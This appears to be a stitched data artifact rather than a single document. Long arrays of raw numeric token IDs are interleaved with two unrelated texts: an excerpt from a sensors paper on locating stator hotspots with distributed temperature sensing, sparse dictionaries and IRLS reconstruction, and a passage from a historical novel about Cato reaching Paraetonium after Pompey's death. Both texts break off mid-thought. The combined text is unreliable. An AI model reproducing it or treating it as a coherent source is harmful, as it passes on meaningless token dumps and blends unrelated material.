898, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8972, 910, 709, 14, 881, 568, 926, 9471, 984, 273, 253, 8723, 1617, 273, 2605, 21841, 285, 11792, 1375, 13, 347, 5544, 275, 544, 12612, 577, 1084, 1704, 21, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 7129, 3813, 13, 253, 954, 4569, 37820, 310, 12266, 19988, 318, 13, 347, 352, 25687, 5313, 14, 3020, 3638, 6298, 15, 3308, 13, 253, 2105, 1159, 281, 8415, 253, 13737, 1895, 310, 1677, 407, 20860, 313, 26, 10, 1254, 35, 1797, 14, 8751, 14, 1036, 14, 11494, 1099, 2947, 35, 1423, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 700, 464, 2407, 464, 1637, 599, 426, 393, 30884, 464, 2407, 464, 1637, 5932, 1662, 1222, 94, 393, 19783, 305, 428, 393, 2407, 92, 10536, 889, 2407, 464, 1637, 94, 393, 19783, 578, 81, 1990, 81, 94, 559, 393, 2260, 393, 19783, 393, 2407, 92, 50, 889, 2407, 464, 1637, 94, 393, 19783, 578, 18, 14640, 835, 669, 700, 464, 2407, 464, 1637, 4018, 310, 247, 4972, 342, 253, 2193, 273, 253, 8609, 1612, 326, 6635, 253, 3511, 46781, 275, 253, 2605, 13, 370, 81, 5, 310, 253, 5222, 908, 275, 253, 941, 14, 71, 21718, 1307, 13, 669, 9501, 464, 2260, 724, 310, 253, 37820, 4764, 534, 5760, 253, 7340, 273, 253, 2900, 281, 253, 6046, 13, 285, 1401, 50, 424, 310, 247, 6486, 3064, 4315, 15, 496, 11193, 3082, 13, 6867, 22429, 908, 323, 10499, 253, 11254, 403, 253, 370, 45, 578, 81, 15728, 12850, 84, 323, 370, 81, 5, 426, 337, 13, 374, 285, 13246, 241, 15, 733, 310, 1846, 281, 897, 253, 418, 95, 19, 95, 5222, 275, 253, 941, 1307, 984, 253, 6046, 310, 3798, 973, 6607, 407, 247, 2622, 3268, 1254, 35, 1630, 14, 8751, 14, 1036, 14, 11494, 1099, 2947, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 1723, 13, 2556, 281, 253, 7605, 1783, 3559, 275, 544, 12612, 495, 1084, 1704, 20, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 4982, 253, 399, 6901, 11931, 1566, 4428, 12541, 6332, 342, 3905, 43917, 3879, 13, 534, 6492, 326, 253, 418, 95, 19, 95, 5222, 943, 320, 7932, 407, 271, 418, 95, 18, 95, 5222, 13, 891, 15, 70, 904, 475, 81, 11, 426, 337, 1254, 35, 1630, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 1916, 8415, 20860, 313, 26, 10, 342, 475, 81, 11, 426, 337, 13, 359, 908, 253, 47875, 1720, 24676, 2070, 505, 25399, 4420, 313, 3027, 7858, 10, 2746, 15, 831, 1332, 8414, 273, 4020, 839, 253, 2105, 1159, 407, 17375, 21396, 418, 95, 19, 95, 22429, 13, 22753, 253, 2900, 407, 16161, 247, 1878, 19325, 1895, 285, 28411, 839, 1110, 767, 5018, 1919, 690, 3523, 17705, 310, 26553, 13, 3798, 2931, 407, 247, 5927, 5731, 2281, 1254, 35, 2405, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 380, 7092, 4278, 275, 6397, 13068, 31743, 313, 51, 6759, 66, 13, 8684, 21950, 13, 17320, 781, 13, 6908, 13, 5106, 10, 403, 2011, 275, 29088, 337, 15, 187, 187, 39973, 337, 27, 187, 187, 6586, 1720, 11682, 29088, 187, 187, 42406, 27, 187, 187, 72, 187, 187, 19182, 399, 6901, 28799, 13, 187, 187, 41, 187, 187, 19182, 7340, 4315, 13, 187, 187, 37, 187, 187, 19182, 26372, 273, 3511, 46781, 13, 187, 187, 50, 187, 187, 19182, 6486, 3064, 4315, 187, 187, 42406, 27, 187, 187, 5776, 535, 3930, 6, 35116, 478, 19606, 4764, 313, 1178, 45190, 10, 187, 187, 42406, 27, 187, 187, 70, 30, 740, 187, 187, 283, 26, 187, 187, 19182, 32547, 5058, 9025, 187, 187, 42406, 27, 187, 187, 41, 187, 187, 37, 187, 187, 30, 187, 187, 41, 187, 187, 6027, 187, 187, 37, 187, 187, 19182, 27354, 2380, 273, 253, 19034, 187, 187, 42406, 27, 187, 187, 2141, 187, 187, 9952, 187, 187, 30, 187, 187, 41, 187, 187, 37, 187, 187, 6097, 187, 187, 6027, 187, 187, 72, 187, 187, 19182, 540, 451, 2900 ]	the following statistical analysis, similarly to \[[@B28-sensors-16-01425]\]. Assuming a generalized Gaussian distribution, we obtained a shape parameter $p \approx 1$ using the method described in \[[@B27-sensors-16-01425]\], indicating that the residuals have a Laplacian distribution. This information will be further exploited in [Section 5](#sec5-sensors-16-01425){ref-type="sec"}. 4. Dictionary of Hotspots {#sec4-sensors-16-01425} ========================= We assume that the thermal system for generator stator can be modeled through a sparse representation. The reason is that it can be considered a large structure with uniform distribution temperature, where occasional hotspots may arise in case of insulation failure ([Figure 1](#sensors-16-01425-f001){ref-type="fig"}). Using a dictionary matrix $\mathbf{D} \in {\mathbb{R}}^{m \times n}$ that contains n prototype image atoms in the columns $\left\{ \left. d_{i} \right\} \right._{j = 1}^{n}$, a thermal image $\mathbf{f} \in {\mathbb{R}}^{m}$ can be represented by sparse linear combinations of the dictionary atoms, as shown in Equation (5) \[[@B29-sensors-16-01425]\]: $$\mathbf{f} = \mathbf{D}\mathbf{\alpha},$$ where the vector $\mathbf{\alpha} \in {\mathbb{R}}^{n}$ contains the coefficients. Each atom is the thermal image of the whole structure when only one possible heat source is active at a time. In this representation α is sparse, i.e., it is assumed to contain mostly zeros. The representation of f may either be exact f = Dα or approximate $f \approx$ Dα, satisfying Equation (6) \[[@B29-sensors-16-01425]\]: $$\parallel \mathbf{f} - \mathbf{D}\mathbf{\alpha} \parallel_{p}\ \leq \mathsf{\epsilon},$$ where $\mathsf{\epsilon}$ is the minimum residual error desired, and $p$ is the norm used for measuring the deviation. [Figure 8](#sensors-16-01425-f008){ref-type="fig"} shows an example of the sparse representation of an imaging system using a dictionary. In this example, a combination of three atoms of the dictionary D was used to form the image f \[[@B29-sensors-16-01425],[@B30-sensors-16-01425]\]. We built a dictionary of hotspots through simulation using the COMSOL^®^ (Comsol, Stockholm, Sweden) multiphysics tool. In the simulations, we considered the physical properties of the materials, geometry and environment boundary conditions. Each atom was generated considering the position of the resistances in each plate. As the prototype has 35 plates at 5 cm high, and 19 positions for resistance, considering 1 atom for each 1 cm, we generated 3325 atoms (35 × 5 × 19) to model the system. Although this representation of 1 cm results in a large number of atoms, it was necessary to reconstruct hotspots with more accurate dimensions, also preventing alignment problems of the sensor installation. Since the total size of the image 209 × 200 cm, the vector length of each atom is 41,800, forming a dictionary matrix D of 41,800 × 3325. The columns of the dictionary matrix, or atoms, were formed by the temperature distribution values generated by power of 1 W/cm^3^ applied to a resistance of 5 cm in each position along the plates, considering steady state. We set the resistance of 5 cm as a minimum condition, because of the plate dimensions and difficulty in using tubular resistances with lower length. However, the temperature data is sampled every 1 cm for forming atoms, as explained in the previous paragraph. Thus, the vector α represents the values of the thermal power that generate the hotspots in the structure. Therefore, by estimating α, we obtain the location and the amount of thermal power that causes each hotspot. [Figure 9](#sensors-16-01425-f009){ref-type="fig"}a shows details of the mesh geometry used in the simulations, and [Figure 9](#sensors-16-01425-f009){ref-type="fig"}b shows the temperature distribution for total power of 1 W/cm^3^ at 26 °C ambient temperature, in steady state. The results show a variation of 2.62 °C with decreasing temperature of $e^{- x/45}$, where $x$ is the distance from the heat source. This decreasing function is a parametric fit of the numerical simulations, which was used to ease the construction of the dictionary. The application of the dictionary D in the image reconstruction algorithm is discussed in more detail in [Section 5](#sec5-sensors-16-01425){ref-type="sec"}. 5. Imaging Reconstruction Algorithm {#sec5-sensors-16-01425} =================================== First, considering the basic model of image reconstruction theory, the acquisition system can be represented by Equation (7) \[[@B22-sensors-16-01425]\]: $$\mathbf{g} = \mathbf{Hf} + \mathbf{n},$$ where $\mathbf{g}$ is a vector formed by DTS readings, $\mathbf{H}$ is the sensitivity matrix, $\mathbf{f}$ is a vector representing the temperature distribution in stator surface, and n is a vector representing all sources of additive noise. Considering that the thermal image has a sparse representation in the constructed dictionary, the acquisition system can be rewritten substituting Equation (5) into Equation (7), as shown in Equation (8) \[[@B22-sensors-16-01425]\]: $$\mathbf{g} = \mathbf{HD}\mathbf{\alpha} + \mathbf{n}.$$ As shown in [Figure 6](#sensors-16-01425-f006){ref-type="fig"}, the DTS "spreads" the impulse, which is a characteristic of low-pass systems. This is translated into an ill-conditioning of matrix H. Thus, the recovering of the temperature distribution by simple inversion of Equation (8) yields high noise amplification, generating poor results \[[@B21-sensors-16-01425]\]. This problem requires regularization, which stabilizes the reconstruction and improves the results. Although the dictionary has been built with the hotspots of 1 cm to improve representation, we expected them to occur with 5 cm or more (see [Figure 9](#sensors-16-01425-f009){ref-type="fig"}), because of the minimal condition of structure prototype and steady state, as explained in [Section 4](#sec4-sensors-16-01425){ref-type="sec"}. Therefore, the most appropriate regularization is Total Variation, as it privileges piece-wise constant signals. Thus, the cost function to solve the inverse problem is given by Equation (9) \[[@B21-sensors-16-01425],[@B22-sensors-16-01425]\]: $$\hat{\mathbf{\alpha}} = \underset{\mathbf{\alpha}}{argmin} \parallel g - \mathbf{HD}\mathbf{\alpha} \parallel_{p}^{p} + \lambda \parallel \mathbf{Q}\mathbf{\alpha} \parallel_{1},$$ where $\hat{\mathbf{\alpha}}$ is a vector with the values of the thermal power that generate the hotspots in the structure, $p$ is the norm used in the data-fidelity term, $\mathsf{\lambda}$ is the regularization parameter which controls the sensitivity of the solution to the noise, and Q is a finite difference matrix. In approximation methods, typical norms used for measuring the deviation are the $L_{p}$-norms for $p$ = 1, 2 and ∞. It is common to use the L~2~ norm in the data term because the noise is usually well represented by a normal distribution \[[@B27-sensors-16-01425],[@B29-sensors-16-01425]\]. However, according to the statistical analysis presented in [Section 3](#sec3-sensors-16-01425){ref-type="sec"}, the DTS acquisition model contains residual errors with Laplacian behavior, which indicates that the L~2~ norm should be replaced by an L~1~ norm, i.e., p = 1 \[[@B27-sensors-16-01425]\]. To solve Equation (9) with p = 1, we used the Interactive Reweighted Least Squares (IRLS) approach. This method consists of approximating the cost function by weighted quadratic L~2~ norms, updating the solution by solving a least squares problem and reiterating those two steps until some stop criterion is attained, usually defined by a minimum update rate \[[@B31-sensors-16-01425]\]. The implementation details in Matlab^®^ (R2014a, MathWorks, Natick, MA, USA) are shown in Algorithm 1. Algorithm 1: Image Reconstruction Algorithm Require: g \% DTS readings, H \% sensitivity matrix, D \% Dictionary of hotspots, Q \% finite difference matrix Require: λ % Regulariztion parameter (set empirically) Require: e=10 --9 \% avoids zero division Require: H D = H × D \% impulse response of the dictionary Require: α \^ = H D ′ × g \% intial solution
[ 309, 15, 20510, 14265, 32, 309, 4089, 368, 1642, 15, 20510, 14265, 13, 5816, 3846, 26453, 19901, 32, 1621, 13, 417, 26453, 19901, 15, 20510, 14265, 38771, 617, 19338, 2652, 307, 316, 15, 1500, 14528, 779, 13, 309, 2868, 13, 3240, 347, 1199, 347, 368, 2389, 479, 13, 323, 703, 556, 634, 3753, 1128, 251, 3289, 342, 38969, 13, 512, 273, 731, 13831, 407, 617, 20873, 34537, 281, 253, 28480, 273, 1503, 15854, 15, 8452, 369, 1503, 15854, 13, 846, 512, 32, 329, 19456, 1711, 43968, 49851, 665, 5868, 2994, 512, 253, 28548, 1841, 326, 253, 17373, 3534, 441, 281, 4264, 13, 432, 22569, 281, 1175, 2739, 15, 1707, 16544, 253, 39688, 459, 266, 434, 1429, 2, 1284, 323, 2263, 81, 662, 571, 13, 703, 38771, 34343, 15, 49075, 1107, 521, 4475, 13, 2568, 760, 247, 1643, 2607, 2686, 342, 34343, 13, 665, 369, 30005, 48299, 342, 634, 15872, 1020, 7586, 1919, 344, 1669, 323, 12146, 335, 15, 3932, 840, 1128, 26142, 15, 844, 5261, 5811, 285, 26283, 403, 15225, 5608, 15, 187, 187, 29065, 2183, 479, 326, 368, 452, 6747, 439, 9367, 4543, 2624, 634, 4707, 1580, 368, 1669, 9972, 13, 533, 309, 2550, 8564, 634, 9386, 13, 39046, 314, 8370, 2454, 347, 320, 2484, 34643, 433, 347, 247, 5679, 434, 15, 187, 187, 17570, 479, 2139, 13, 24336, 13, 359, 2255, 403, 10256, 281, 1239, 285, 3630, 13, 2568, 403, 1900, 38467, 281, 1790, 387, 1728, 13, 6179, 32, 309, 1364, 564, 13, 309, 2550, 923, 323, 12330, 15, 7764, 13, 309, 2353, 273, 368, 13, 3630, 281, 479, 2, 7918, 479, 3524, 15, 187, 187, 510, 5101, 369, 598, 28, 330, 4611, 369, 247, 46727, 3468, 9414, 15, 2398, 14265, 434, 14084, 369, 1531, 360, 6216, 598, 13, 840, 43816, 1314, 2439, 253, 45531, 1824, 15, 1893, 1199, 323, 26283, 15, 187, 187, 8389, 3564, 497, 18577, 15, 6102, 247, 11339, 13, 11339, 4857, 2, 1916, 2389, 247, 3416, 342, 253, 21337, 7133, 273, 247, 20915, 7239, 250, 310, 417, 247, 987, 769, 13, 2550, 320, 247, 987, 769, 15, 44205, 626, 703, 2096, 326, 1046, 581, 273, 617, 1142, 4876, 2296, 253, 1072, 2181, 32, 44205, 626, 703, 8968, 326, 309, 588, 1620, 3630, 281, 617, 32, 1737, 651, 309, 1333, 32, 1737, 310, 627, 281, 1333, 32, 187, 187, 2302, 11480, 5321, 521, 4455, 281, 3802, 2066, 326, 6149, 90, 12717, 275, 253, 2329, 28, 11648, 2427, 670, 616, 2136, 347, 604, 3063, 497, 816, 1529, 1388, 15, 380, 4131, 14782, 327, 15, 330, 4611, 2335, 247, 1614, 387, 253, 258, 1032, 13, 840, 2427, 896, 281, 1462, 387, 253, 8087, 3405, 1699, 521, 2927, 15, 13529, 2692, 1919, 253, 5101, 369, 3587, 18332, 13, 672, 247, 6906, 13, 16487, 4797, 1386, 5420, 327, 253, 16892, 15, 3771, 347, 330, 4611, 3047, 352, 13, 253, 45758, 355, 23037, 387, 253, 20971, 2522, 35483, 1441, 264, 15, 187, 187, 3, 24731, 2, 8565, 1476, 187, 187, 8389, 6215, 3977, 253, 18500, 13, 534, 1863, 5911, 715, 247, 716, 472, 1658, 3212, 352, 15, 1621, 673, 281, 3213, 715, 521, 10058, 9735, 2994, 13, 594, 344, 2197, 271, 15211, 7861, 316, 2720, 1399, 321, 279, 13, 10467, 3750, 1997, 255, 301, 3750, 13, 275, 521, 8933, 281, 9618, 253, 3403, 1550, 417, 281, 755, 6386, 273, 779, 13, 285, 281, 3698, 9257, 323, 6738, 932, 13, 294, 23172, 13, 8763, 16419, 15, 380, 1824, 574, 8423, 2489, 1077, 20126, 285, 2590, 347, 253, 1682, 367, 1137, 10424, 5253, 13, 342, 253, 1072, 16487, 314, 4797, 703, 257, 1024, 326, 253, 5101, 369, 417, 48147, 745, 352, 15, 187, 187, 510, 2659, 2210, 598, 6685, 3809, 984, 352, 369, 594, 6507, 13, 417, 247, 11562, 30396, 497, 908, 281, 13, 30795, 281, 31474, 4811, 835, 1029, 14700, 294, 1096, 275, 2810, 18326, 281, 253, 6150, 285, 3021, 1160, 2659, 7985, 1142, 6574, 432, 16838, 15, 1916, 330, 4611, 434, 6619, 13, 253, 259, 9358, 272, 5101, 4950, 2586, 625, 4759, 685, 258, 5316, 28, 604, 10583, 265, 8899, 13, 840, 627, 369, 690, 3524, 273, 23749, 15, 4325, 443, 48918, 316, 40868, 90, 434, 25244, 344, 3260, 326, 627, 369, 760, 581, 10858, 327, 253, 4314, 14, 39179, 14, 25430, 8852, 875, 38783, 285, 12552, 18946, 3737, 27, 39084, 18807, 1514, 13, 40689, 13651, 253, 6495, 574, 873, 745, 6420, 281, 253, 269, 5063, 258, 4914, 273, 3052, 2163, 13, 627, 281, 42810, 342, 253, 22437, 7728, 316, 15, 187, 187, 47904, 18807, 1514, 13, 359, 1364, 1089, 39084, 18807, 1514, 2, 1292, 310, 352, 8935, 273, 1060, 13, 390, 310, 352, 9268, 32, 187, 187, 36, 4611, 18572, 264, 275, 253, 5004, 273, 247, 34707, 285, 7303, 281, 9580, 247, 1355, 17167, 273, 8734, 365, 66, 1128, 9328, 574, 1077, 1652, 1669, 1128, 7461, 13222, 253, 1791, 9181, 715, 253, 1824, 347, 344, 34469, 27, 187, 187, 3, 48, 512, 9094, 17373, 13, 407, 39347, 1416, 9094, 5730, 281, 320, 1929, 13, 273, 5913, 2825, 390, 642, 2825, 9094, 403, 13, 1339, 479, 5476, 9113, 1476, 187, 187, 34, 40777, 30942, 432, 3094, 316, 2210, 327, 253, 7392, 273, 521, 12678, 28, 344, 2427, 281, 253, 13595, 13, 38712, 327, 247, 10058, 2963, 412, 875, 253, 20762, 14, 9458, 7357, 398, 273, 253, 7863, 30514, 491, 258, 1032, 15, 187, 187, 3, 31216, 13, 359, 1614, 9268, 1078, 253, 5448, 449, 187, 187, 3650, 1740, 6574, 1066, 253, 8852, 330, 4611, 434, 269, 1032, 429, 264, 2927, 2335, 275, 253, 8184, 273, 767, 4512, 787, 25428, 342, 253, 13032, 281, 247, 17699, 875, 731, 13, 285, 581, 390, 767, 16059, 14, 67, 4662, 9910, 15, 1310, 436, 497, 39084, 18807, 1514, 13, 840, 253, 3874, 574, 281, 320, 3304, 253, 22754, 15, 380, 13032, 369, 278, 967, 342, 16419, 13, 533, 247, 2590, 10056, 2242, 2761, 275, 697, 4766, 28, 767, 35089, 38570, 387, 253, 7357, 398, 285, 330, 4611, 434, 6215, 3531, 13, 258, 1032, 275, 4697, 323, 253, 32183, 13, 281, 15901, 715, 247, 5389, 6468, 15, 187, 187, 1328, 39787, 13, 305, 19613, 1070, 15, 9064, 8370, 11811, 2168, 2242, 387, 18536, 2, 8452, 13, 665, 32, 21994, 1643, 323, 352, 281, 320, 10118, 1914, 316, 13, 594, 665, 32, 187, 187, 2374, 253, 896, 14190, 273, 253, 17699, 369, 247, 16059, 14, 67, 4662, 13, 10058, 3874, 15, 19662, 1904, 626, 2647, 13, 2167, 15, 7900, 332, 952, 6940, 26708, 13, 627, 369, 3033, 281, 320, 1721, 494, 1824, 285, 690, 10067, 323, 7289, 15, 1244, 344, 651, 3517, 1089, 562, 534, 30396, 9633, 253, 11811, 13, 512, 12060, 253, 9975, 18787, 33945, 386, 432, 616, 20971, 22089, 15, 46741, 30396, 15, 187, 187, 1328, 2427, 15898, 410, 275, 521, 10058, 9735, 11704, 407, 253, 7861, 316, 2720, 1399, 321, 279, 13, 10467, 3750, 1997, 255, 301, 3750, 28, 253, 2862, 3072, 273, 39084, 18807, 1514, 13, 690, 2800, 4289, 23729, 13, 369, 21817, 598, 2112, 247, 11600, 13, 29553, 272, 387, 253, 8184, 273, 13719, 1943, 11811, 2403, 2245, 581, 387, 247, 673, 15, 2064, 344, 1537, 417, 320, 2104, 281, 13791, 342, 253, 39084, 18807, 2458, 858, 417, 2826, 281, 779, 28, 4130, 11678, 7560, 11308, 13, 253, 20365, 66, 35271, 74, 15, 187, 187, 510, 806, 3000, 344, 3735, 13, 2299, 13, 497, 12760, 15, 5761, 952, 12293, 3579, 13, 247, 23639, 3416, 275, 617, 4766, 2500, 47798, 285, 247, 3521, 4906, 8920, 15, 330, 4611, 305, 7760, 13, 533, 1078, 344, 812, 1333, 2712, 253, 3416, 574, 13547, 327, 521, 7623, 275, 42303, 273, 12330, 13, 285, 253, 8920, 369, 13756, 281, 259, 804, 521, 1133, 745, 15, 187, 187, 3, 3220, 11761, 14656, 29173, 6365, 5021, 2, 1244, 1023, 633, 316, 40868, 3750, 2, 9876, 436, 1599, 326, 40868, 3750, 18482, 316, 310, 1060, 865, 344, 2546, 15, 187, 187, 34, 1953, 534, 4269, 14656, 29173, 6365, 5021, 281, 359, 554, 12150, 13, 285, 873, 1023, 633, 316, 40868, 90, 281, 17800, 1512, 15, 7160, 20993, 2918, 247, 3935, 27, 40868, 90, 253, 6495, 369, 3846, 15, 187, 187, 6175, 344, 6225, 342, 40868, 90, 253, 6495, 434, 7002, 4475, 2500, 967, 1475, 521, 7623, 1824, 272, 521, 19445, 14, 3399, 3466, 281, 2485, 285, 3597, 281, 1021, 695, 366, 521, 1133, 432, 1023, 633, 316, 40868, 90, 434, 15909, 13, 247, 2581, 1774, 14, 13565, 637, 275, 247, 27846, 11308, 10839, 280, 7428, 598, 281, 731, 13, 247, 1355, 994, 38529, 275, 521, 11772, 15, 187, 187, 3, 42, 717, 24336, 20510, 68, 3750, 330, 4611, 449, 187, 187, 3, 42, 717, 6778, 38332, 15125, 3, 369, 253, 3662, 13, 1677, 342, 271, 2048, 326, 753, 330, 4611, 434, 1416, 5486, 8839, 2717, 281, 247, 39084, 18807, 757, 15, 187, 187, 24804, 436, 369, 253, 990, 273, 253, 1533, 2, 187, 187, 5279, 8955, 275, 6778, 38332, 15125, 434, 16453, 2419, 344, 6311, 253, 18580, 2926, 273, 40868, 90, 253, 6495, 275, 18797, 316, 1514, 13, 273, 253, 14373, 1399, 321, 279, 4005, 303, 3750, 665, 574, 298, 1520, 40868, 90, 715, 247, 9735, 285, 281, 521, 2471, 13, 534, 14656, 29173, 6365, 5021, 285, 1023, 633, 316, 574, 21153, 432, 616, 6215, 15, 22607, 296, 3668, 273, 512, 13, 4005, 303, 3750, 574, 17513, 745, 40868, 90, 434, 1481, 13, 1691, 352, 275, 247, 21152, 13, 840, 1669, 253, 2133, 10776, 327, 253, 16059, 47350, 15, 187, 187, 3, 6067, 21517, 1342, 15887, 285, 253, 5006, 665, 369, 521, 15945, 574, 4783, 275, 253, 50097, 1994, 342, 619, 3392, 13, 533, 597, 16139, 407, 3515, 1977, 937, 1023, 633, 316, 753, 15, 346, 1231, 812, 513, 2717, 281, 1361, 1128, 49, 293, 316, 1514, 22754, 369, 2120, 273, 253, 22437, 6963, 434, 29401, 13, 285, 2067, 16860, 16458, 497, 12206, 1066, 327, 441, 15, 22660, 359, 11791, 281, 320, 10848, 285, 3164, 5339, 1512, 13, 390, 359, 1691, 281, 6150, 449, 754, 22638, 13, 521, 6208, 572, 36731, 15, 346, 42, 3260, 534, 2282, 619, 3392, 651, 452, 3078, 13, 594, 359, 18436, 449, 187, 187, 18765, 617, 36822, 273, 12330, 574, 14245, 598, 13, 14656, 29173, 6365, 5021, 9945, 1652, 281, 253, 7827, 15, 1359, 1199, 703, 556, 4391, 13, 330, 4611, 1869, 13, 344, 665, 11766, 8344, 824, 1841, 15, 1500, 574, 644, 253, 419, 9932, 10558, 273, 869, 695, 757, 30845, 41965, 13, 6122, 273, 253, 14688, 461, 6365, 437, 316, 1810, 532, 900, 13, 806, 7028, 281, 253, 11504, 3347, 273, 40868, 90, 434, 7832, 275, 767, 273, 521, 772, 335, 19794, 13, 24336, 17247, 249, 3750, 7306, 515, 316, 15, 2635, 7306, 515, 316, 285, 617, 5938, 574, 873, 562, 281, 42879, 253, 11491, 273, 253, 2956, 394, 2458, 13, 285, 591, 1428, 387, 31247, 3227, 70, 15, 380, 5261, 12997, 14656, 29173, 6365, 5021, 574, 2489, 247, 3569, 43392, 13, 323, 40868, 90, 369, 5261, 12997, 1512, 13, 253, 2471, 273, 34343, 434, 27261, 37032, 9086, 715, 253, 2469, 15, 1893, 253, 10163, 74, 13, 1690, 330, 4611, 13, 574, 17944, 281, 42103, 40868, 90, 253, 6495, 432, 34343, 28, 253, 760, 1039, 13, 597, 3543, 13, 281, 3785, 40868, 90, 327, 281, 253, 10163, 74, 1930, 369, 281, 1918, 779, 14656, 29173, 6365, 5021, 347, 521, 747, 4475, 15, 9052, 42807, 7996, 670, 521, 1211, 26591, 20801, 313, 37132, 290, 460, 13, 533, 342, 253, 18580, 35809, 273, 12146, 335, 2879, 281, 326, 582, 40868, 90, 1900, 7028, 2255, 273, 253, 4585, 49578, 15, 1244, 665, 369, 2169, 685, 14656, 29173, 6365, 5021, 32, 329, 1398, 5483, 273, 1810, 532, 900, 8118, 316, 285, 329, 358, 3093, 316, 3643, 962, 316, 13, 642, 1679, 15, 31960, 323, 10163, 74, 6378, 2, 380, 6974, 574, 4307, 15, 3032, 27579, 9469, 13, 40868, 90, 574, 17985, 24695, 617, 37774, 13, 285, 3395, 13, 604, 417, 581, 273, 253, 10163, 74, 13, 387, 1878, 616, 2810, 25550, 15, 187, 187, 688, 12300, 703, 574, 4821, 347, 703, 3407, 13, 1210, 6030, 1598, 9979, 13, 4484, 604, 417, 1066, 918, 5412, 13, 4518, 5001, 5972, 347, 617, 3392, 434, 45121, 11232, 5893, 15, 39138, 281, 247, 40868, 3750, 432, 20424, 14379, 369, 247, 29103, 25795, 628, 13, 1014, 604, 436, 1798, 40868, 3750, 369, 253, 3973, 3083, 275, 12300, 15, 754, 816, 1904, 626, 452, 253, 2614, 13, 594, 14656, 29173, 6365 ]	I. Porcia? I hear you ask. Porcia, missing dead Bibulus? No, not Bibulus. Porcia misses her cousin Brutus. She loves him, I believe, quite as much as you love me, for she has your nature—on fire with passions, all of them frozen by her absurd devotion to the teachings of Zeno. Who was Zeno, after all? A silly old Cypriot who denied himself all the glorious things that the gods gave us to enjoy, from laughter to good food. There speaks the Epicurean's child! As for Calpurnia, she misses Caesar. Eleven years his wife, yet only a few months actually with Caesar, who was philandering with your frightful sister until he left for Gaul. Since then—nothing. We widows and wives are poorly served. Someone told me that you have neither shaved nor cut your hair since you left Italy, but I cannot imagine your wonderful, nobly Roman face as bewhiskered as a Jew's. Tell me why, Marcus, we women are taught to read and write, yet are always doomed to sit at home, waiting? I must go, I cannot see for tears. Please, I beg of you, write to me! Give me hope. The sun was up; Cato was a painfully slow reader. Marcia's scroll was crumpled up, then skimmed across the sparkling water. So much for wives. His hands were shaking. Such a stupid, stupid letter! To love a woman with the consuming intensity of a funeral pyre is not a right act, cannot be a right act. Doesn't she understand that every one of her many letters says the same thing? Doesn't she realize that I will never write to her? What would I say? What is there to say? No nose save his seemed to snuff that earthy tang in the air; everybody went about their business as if today were just another day. The morning wore on. Cato took a turn at the oars, then went back to stand at the rail straining his eyes. Nothing showed until the sun was directly overhead, when a thin, faint blue line appeared on the horizon. Just as Cato saw it, the sailor aloft at the masthead shrieked. "Land! Land!" His ship led the fleet, which swelled into a teardrop behind it. No time to step into his tiny boat himself, so he sent an eager pilus prior centurion, Lucius Gratidius, in his stead to instruct the captains not to get ahead of him, and to watch carefully for shoals, reefs, hidden rocks. The water had suddenly become very shallow and clear as the best Puteoli glass, with the same faintly blue sheen now that the sun was not glancing off it. The land came up extremely fast because it was so flat, not a phenomenon Romans were used to, accustomed to sailing regions where high mountains reared in close proximity to the sea and thus made land visible many miles from shore. To Cato's relief, the westering sun revealed country more green than ocher; if grasses grew, then there was some hope of civilization. From Gnaeus Pompey's pilots he knew that there was only one settlement on the eight-hundred-mile coast between Alexandria and Cyrenaica: Paraetonium, whence Alexander the Great had set off south to the fabled oasis of Ammon, there to converse with the Egyptian Zeus. Paraetonium, we must find Paraetonium! But is it west of here, or is it east? Cato scraped in the bottom of a sack and managed to gather a small handful of chickpea—they had very little left—then threw the legumes into the water as he prayed: "O all ye gods, by whichever name ye wish to be known, of whatever sex or no sex ye are, let me guess correctly!" A brisk gust from Corus came on the echo of his plea; he went to the captain, stationed on a tiny poop between the rope-bound tillers of the massive rudder oars. "Captain, we turn east before the wind." Not four miles down the coast Cato's farsighted eyes took in the sight of two slight bluffs with the entrance to a bay between them, and one or two mud-brick houses. If this were Paraetonium, then the town had to be inside the harbor. The entrance was mined with rocks, but a clear passage lay almost in its middle; two sailors shoved at the tillers and Cato's ship turned, oars inboard for the maneuver, to sail into a beautiful haven. He gasped, goggled. Three Roman ships already lay at anchor! Who, who? Too few for it to be Labienus, so who? On the back reaches of the bay was a mud-brick, tiny town. Size didn't matter, though. Wherever people lived collectively, there was bound to be potable water and some provisions for sale. And he would soon find out which Romans owned the ships, all flying the SPQR pennant from their mastheads. Important Romans. He went ashore in his tiny boat accompanied by the pilus prior centurion, Lucius Gratidius; the entire population of Paraetonium, some six hundred souls, was lined up along a beach, marveling at the sight of fifty big ships making port one at a time. That he might not be able to communicate with the Paraetonians did not occur to him; everyone everywhere spoke Greek, the lingua mundi. The first words he heard, however, were Latin. Two people stepped forward, a handsome woman in her middle twenties and a stripling youth. Cato gaped, but before he could say anything the woman had fallen on his neck in floods of tears, and the youth was attempting to wring his hand off. "My dear Cornelia Metella! And Sextus Pompeius! Does this mean that Pompeius Magnus is here?" he asked. A question which caused Cornelia Metella to weep harder, and set Sextus Pompey to crying too. Their grief held a message: Pompey the Great was dead. While he stood with Pompey the Great's fourth wife twined around his neck watering his purple-bordered toga and tried to extricate his hand from Sextus Pompey's grasp, a rather important-looking man in a tailored Greek tunic walked up to them, a small entourage in his wake. "I am Marcus Porcius Cato." "I am Philopoemon" was the answer, given with an expression that said Cato's name meant absolutely nothing to a Paraetonian. Indeed this was the end of the world! Over dinner in Philopoemon's modest house he learned the awful story of Pompey the Great in Pelusium, of the retired centurion Septimius who had lured Pompey into a boat and to his death, which Cornelia Metella and Sextus had witnessed from their ship. Worst news of all, Septimius had chopped off Pompey's head, put it in a jar, then left the body lying on the mud flats. "Our freedman Philip and the boy who was his slave had gone in the dinghy with my father, but they survived by running away," Sextus said. "We could do nothing to help—Pelusium harbor was full of the Egyptian king's navy, and several warships were bearing down on us. Either we stayed to be captured and probably killed too, or we put to sea." He shrugged, his mouth quivering. "I knew which course my father would have wanted, so we fled." Though her fountain of tears had dried up, Cornelia Metella contributed little to the conversation. How much she has changed, Cato thought, he who rarely noticed such things. She had been the haughtiest of patrician aristocrats, daughter of the august Metellus Scipio, first married to the elder son of Pompey's partner in two of his consulships, 